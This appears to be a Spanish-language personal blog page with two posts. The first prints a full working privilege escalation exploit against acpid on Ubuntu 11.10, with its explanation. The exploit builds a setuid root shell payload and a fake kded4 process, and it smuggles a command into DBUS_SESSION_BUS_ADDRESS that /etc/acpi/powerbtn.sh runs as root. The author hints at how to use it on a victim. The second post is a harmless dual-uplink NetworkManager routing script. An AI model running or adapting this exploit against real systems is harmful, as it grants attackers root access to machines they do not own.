viernes, 3 de febrero de 2012

Acpid 1:2.0.10 escalación de privilegios en Ubuntu 11.10

Bueno espero que esta nueva entrada en el blogg les sirva.

Básicamente pues explicare un poco de cómo trabaja esta vulnerabilidad y como explotarla, para esto pues he montado un laboratorio con las siguientes características:

  1. Un kubutu 11.10, sin ninguna actualización de seguridad.
  2. Una cuenta de usuarios normal sin sudo.
  3. Cambiar contraseñas de root y habilitar la entrada por KDE4 (solo para el demo, esto no viene configurado por defecto en Ubuntu).

4. Entrar por escritorio con cuenta de root

Exploit:

PAYLOADEXE="/var/crash/payload"
PAYLOADC="/var/crash/payload.c"

KDEDC="kded4.c"
KDEDEXE="kded4"

TRIGGER="/etc/acpi/powerbtn.sh"

rm -f $PAYLOADEXE $KDEDEXE $KDEDC $PAYLOADC

echo "[+] Setting umask to 0 so we have world writable files."
umask 0


echo "[+] Preparing binary payload."
# we _try_ to get a suid root shell, if not we only get a
# shell for another user
cat > $PAYLOADC <<_EOF
#include
void main(int argc, char **argv)
{
if(!strstr(argv[0],"shell")){
printf("[+] Preparing suid shell.\n");
system("cp /var/crash/payload /var/crash/shell");
setuid(0);
setgid(0);
chown ("/var/crash/shell", 0, 0);
chmod("/var/crash/shell", S_IRWXU | S_IRWXG | S_IRWXO | S_ISUID | S_ISGID);
}else{
execl("/bin/sh", "/bin/sh", "-i", 0);
}
}
_EOF
gcc -w -o $PAYLOADEXE $PAYLOADC

echo "[+] Preparing fake kded4 process."
cat > $KDEDC <<_EOF
#include
void main (){
while(42){
sleep(1);
if( access( "/var/crash/shell" , F_OK ) != -1 ) {
execl("/var/crash/shell", "/var/crash/shell", "-i", 0);
exit(0);
}
}
}
_EOF

gcc -w -o $KDEDEXE $KDEDC
rm -f $KDEDC $PAYLOADC

echo "[+] Exporting DBUS_SESSION_BUS_ADDRESS."
export DBUS_SESSION_BUS_ADDRESS="xxxx & $PAYLOADEXE"

echo "[+] Starting kded4."
echo "[+] Trying to PMS the system."
echo "[+] Waiting for the power button to be pressed."
echo "[+] You'll get a shell on this console."
./$KDEDEXE

rm $KDEDEXE

El siguiente exploit se aprovecha del script /etc/acpi/powerbtn.sh el cual es ejecutado cuando se presiona el botón de apagado de la siguiente manera, debido a que a que la variable DBUS_SESSION_BUS_ADDRESS puede ser controlada por cualquier usuario, esto hace propenso al siguiente código a ejecutar código malicioso.

test "$XUSER" != "" && test -x /usr/bin/qdbus && test -r /proc/$(pidof kded4)/environ && su - $XUSER -c "eval $(echo -n 'export '; cat /proc/$(pidof kded4)/environ |tr '\0' '\n'|grep DBUS_SESSION_BUS_ADDRESS); qdbus org.kde.kded" | grep -q powerdevil) ;

Veamos como:

  1. Debido a que es necesario que solo exista un proceso de kded4, en el sistema y este sea controlado por nosotros, tendremos matarlo del sistema.

a. Para efectos de este lab lo haremos con sudo kill kded4 el que ejecute este exploit en una víctima tiene que buscarse como hacer ;).

b. Creando nuestro proceso KDED es ejecutado el cat /proc/$(pidof kded4)/environ entrara al proceso que genera este exploit.

  1. Una vez haciendo esto el exploit se encarga de generar un ejecutable llamado kded4 y con el PAYLOAD logar hacer que se ejecute de la siguiente manera:
a. El ejecutable de ./payload, genera una Shell con propiedades de SUID 0, claro si esto se ejecuta como root.
b. Copia el ejecutable llamado payload por uno llamado Shell, el cual mediante un strstr decide si ejecutar la Shell, con las propiedades creadas.

3.
Ahora bien cómo funciona esto:

a. Al ejecutar el exploit este exporta la variable DBUS_SESSION_BUS_ADDRESS de la siguiente manera:

DBUS_SESSION_BUS_ADDRESS=xxxx & $PAYLOADEXE

b. Mandara el comando “xxxx” al segundo plano y ejecutara el contenido de $PAYLOAD.

c. Una vez hecho esto, se necesita ejecutar el script /etc/acpi/powerbtn.sh, presionando el botón de apagar en el sistema.

d. Hecho esto debe aparecer una nueva bash con propiedades de suid de root.





miércoles, 18 de enero de 2012

Script para 2 enlaces de internet sobre la misma pc

Esto debe ir en la siguiente ruta:

/etc/NetworkManager/dispatcher.d

Ahora después de este escripts puedes mandar las seciones de http y https por un proveedor y lo demás por otro. En mi caso todas las descargas las tengo por un enlace y el acceso a mi pc por otro, espero les sirva

#!/bin/sh
# Script to dispatch NetworkManager events
#
# Runs ifupdown scripts when NetworkManager fiddles with interfaces.


CompareDG()
{
a="`ip route show| grep default | cut -d " " -f 5`"
if [ "$a" = "$1" ]; then
echo "$1 no puede tener Default gw" >> $LOGFILE
exit 1
fi
}

CompareIP()
{
exif="`ip route show | grep default | awk '{print $5;}'`"
intif=$1
echo "dentro de compare exif $exif">> $LOGFILE
#comparamos las ips entre eth0 y eth1
for i in `seq 1 3`; do
execif_ext=`ifconfig $exif | grep -Ev inet6 | grep inet | awk '{print $2}' | cut -d: -f2 | cut -d. -f$i`
execif_int=`ifconfig $intif | grep -Ev inet6 | grep inet | awk '{print $2}' | cut -d: -f2 | cut -d. -f$i`
echo "extif $exif == intif $intif" >> $LOGFILE
if [ "$execif_ext" = "$execif_int" ]; then
if [ $i -eq 3 ]; then
echo "$exif tiene configurado el mismo segmento $intif" >> $LOGFILE
exit 1
fi
continue
fi
done
}

IPT()
{
if [ "$1" = "clean" ]; then
$IPT -t mangle -D OUTPUT -p tcp --dport 80 -j MARK --set-mark 4
$IPT -t mangle -D OUTPUT -p tcp --dport 443 -j MARK --set-mark 4
$IPT -t nat -D POSTROUTING -o $INTIF -j SNAT --to-source $MY_INTIP
else
$IPT -t mangle -A OUTPUT -p tcp --dport 80 -j MARK --set-mark 4
$IPT -t mangle -A OUTPUT -p tcp --dport 443 -j MARK --set-mark 4
$IPT -t nat -A POSTROUTING -o $INTIF -j SNAT --to-source $MY_INTIP
fi
}

if [ -z "$1" ]; then
echo "$0: called with no interface" 1>&2
exit 1;
fi
IFACE="$1"
STATUS="$2"
EXTIF="eth0"
INTIF="eth1"
LOGFILE="/tmp/logfile_nm"
RT_TABLE="totalplay"
DG_TABLE="192.168.100.1"
MY_INTIP="`ifconfig $INTIF | grep -Ev inet6 | grep inet | awk '{print $2}' | cut -d: -f 2`"
IPT=iptables
echo Capturamos la siguiente informacion $1 $2 >> $LOGFILE

if [ $IFACE != "$INTIF" ]; then
echo La interface $IFACE no concuerda con el uso del Script >> $LOGFILE
exit 1
fi

echo Hacemos la operacion requerida $IFACE >> $LOGFILE
#Verificamos que el default route no este por eth1
CompareDG "$INTIF"
#Verificamos que eth0 que es la externa no tenga el mismo segmento que eth1
CompareIP "$INTIF"
#Creamos tabla de ruteo
echo "Flusheand tabla $RT_TABLE" >> $LOGFILE
ip route flush table $RT_TABLE
ip rule del fwmark 4 table $RT_TABLE
IPT "clean"
echo "Limpiando reglas de fw" >> $LOGFILE
ip route show table main | grep -Ev default | while read ROUTE; do ip route add table $RT_TABLE $ROUTE; done
ip route add default via $DG_TABLE dev $INTIF table $RT_TABLE
echo "Creamos reglas de firewall asociadas" >> $LOGFILE
IPT
ip rule add fwmark 4 table $RT_TABLE
#ip route flush cache
echo 1 > /proc/sys/net/ipv4/ip_forward
for f in /proc/sys/net/ipv4/conf/*/rp_filter ; do echo 0 > $f; done
ip route flush cache